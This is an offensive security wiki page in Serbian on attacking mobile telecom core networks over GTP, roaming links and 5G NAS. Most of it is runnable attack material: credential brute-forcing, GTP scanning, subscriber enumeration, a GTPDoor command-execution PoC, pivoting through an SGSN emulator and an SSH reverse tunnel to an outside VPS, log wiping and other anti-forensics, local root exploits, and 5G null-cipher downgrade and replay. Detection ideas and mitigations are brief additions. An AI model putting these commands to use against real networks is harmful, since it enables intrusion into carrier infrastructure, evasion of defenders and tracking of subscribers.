12 KiB
Eksploatacija telekom mreža (GTP / roaming okruženja)
{{#include ../../banners/hacktricks-training.md}}
Note
Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone-ove. Pošto se prenose preko običnog UDP-a sa gotovo nikakvom autentifikacijom, any foothold inside a telecom perimeter can usually reach core signalling planes directly. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
Iznenađujuće veliki broj vendor mrežnih elemenata isporučuje se sa hard-coded SSH/Telnet korisnicima kao što su root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Posvećen wordlist dramatično povećava brute-force uspeh:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).
1.2 Otkrivanje hostova unutar GRX/IPX
Većina GRX operatera i dalje dozvoljava ICMP echo preko backbone-a. Kombinujte masscan
sa ugrađenim gtpv1
UDP sondama kako biste brzo mapirali GTP-C slušače:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
Sledeći Go alat konstruše GTP-C Create PDP Context Request pakete i beleži odgovore. Svaki odgovor otkriva trenutni SGSN / MME koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ključne opcije:
--imsi
Ciljni pretplatnik IMSI--oper
Home / HNI (MCC+MNC)-w
Snima sirove pakete u pcap
Važne konstante unutar binary mogu biti patched da prošire skeniranja:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor
je mali ELF servis koji veže se na UDP 2123 i parsira svaki dolazni GTP-C paket. Kada payload počinje sa pre-shared tag-om, ostatak se dekriptuje (AES-128-CBC) i izvršava preko /bin/sh -c
. stdout/stderr su exfiltrated unutar Echo Response poruka tako da nikakva izlazna sesija nikada nije kreirana.
Minimalni PoC paket (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detekcija:
- bilo koji host koji šalje unbalanced Echo Requests to SGSN IPs
- GTP version flag set to 1 while message type = 1 (Echo) – odstupanje od specifikacije
4. Pivoting kroz jezgro
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
dolazi sa SGSN emulatorom sposoban da establish a PDP context towards a real GGSN/PGW. Nakon pregovora, Linux dobija novi tun0
interfejs dostupan from the roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLAN-ove i dovodi vas direktno u sloj podataka.
4.2 SSH Reverse Tunnel preko Port 53
DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite internu SSH uslugu na svoj VPS koja sluša na :53 i kasnije se vratite iz kuće:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Proverite da li je GatewayPorts yes
omogućeno na VPS-u.
5. Skriveni kanali
Kanal | Transport | Dekodiranje | Napomene |
---|---|---|---|
ICMP – EchoBackdoor |
ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivni listener, bez odlaznog saobraćaja |
DNS – NoDepDNS |
UDP 53 | XOR (key = funnyAndHappy ) kodirano u oktetima A-record zapisa |
prati poddomen *.nodep |
GTP – GTPDoor |
UDP 2123 | AES-128-CBC blob u privatnom IE | uklapa se sa legitimnim GTP-C saobraćajem |
Svi implants implementiraju watchdogs koji timestomp njihove binarne fajlove i re-spawnuju se ako se sruše.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation na Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Savet za čišćenje:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Alati
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling described in previous sections.FScan
: intranet TCP skeniranje (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lagano SOCKS5 pivotiranjeFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dok se NAS security ne aktivira preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo pre-security prozor omogućava više putanja napada ako možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed).
Registration flow (pojednostavljeno):
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capability-je.
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
- Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju.
- PDU Session Establishment: IP/QoS podešavanje.
Lab setup saveti (non-RF):
- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova.
- UE: simulator ili test UE; dekodujte pomoću Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS unutar NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez podizanja kompletnog rogue gNB).
- Korisni display filteri u Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home-network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na problem privatnosti koji omogućava persistento praćenje pretplatnika.
Kako testirati:
- Capturujte prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
- Wireshark quick checks:
- Trebalo bi da dekoduje kao SUCI, ne kao IMSI.
- Primer filtera:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
bi trebalo da postoji; odsustvo tog polja uz prisustvoimsi
ukazuje na curenje.
Šta sakupiti:
- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/lokacije.
Mitigacija:
- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Pozadina:
- UE advertajzuje podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
Problem:
- Pošto Registration Request nije integrity zaštićen, on-path napadač može da očisti capability bitove da bi primorao kasniji izbor EEA0/EIA0 tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i izvan emergency servisa.
Ofanzivni koraci:
- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da advertajzuje samo EEA0/EIA0.
- Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja.
- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.
Verifikacija/vidljivost:
- U Wireshark, potvrdite izabrane algoritme posle Security Mode Command/Complete.
- Primer pasivnog sniffer output-a:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigacije (mora):
- Konfigurišite AMF/policy da odbacuje EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi).
- Preferirajte primenu EEA2/EIA2 kao minimum; zabeležite i podignite alarm za svaki NAS security context koji pregovara null algorithms.
9.3 Ponavljanje (replay) početnog Registration Request-a (pre-security NAS)
Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti ponovo poslati AMF.
PoC pravilo za 5GReplay za prosleđivanje podudarnih replay-a:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
Ideje za detekciju
- Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests.
- Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes iz internog IP prostora.
- Česti Echo Requests bez odgovarajućih Echo Responses – može ukazivati na GTPDoor beacone.
- Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima.
- 5G: InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a (signal repleja).
- 5G: NAS Security Mode koji pregovara EEA0/EIA0 van konteksta hitnih procedura.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}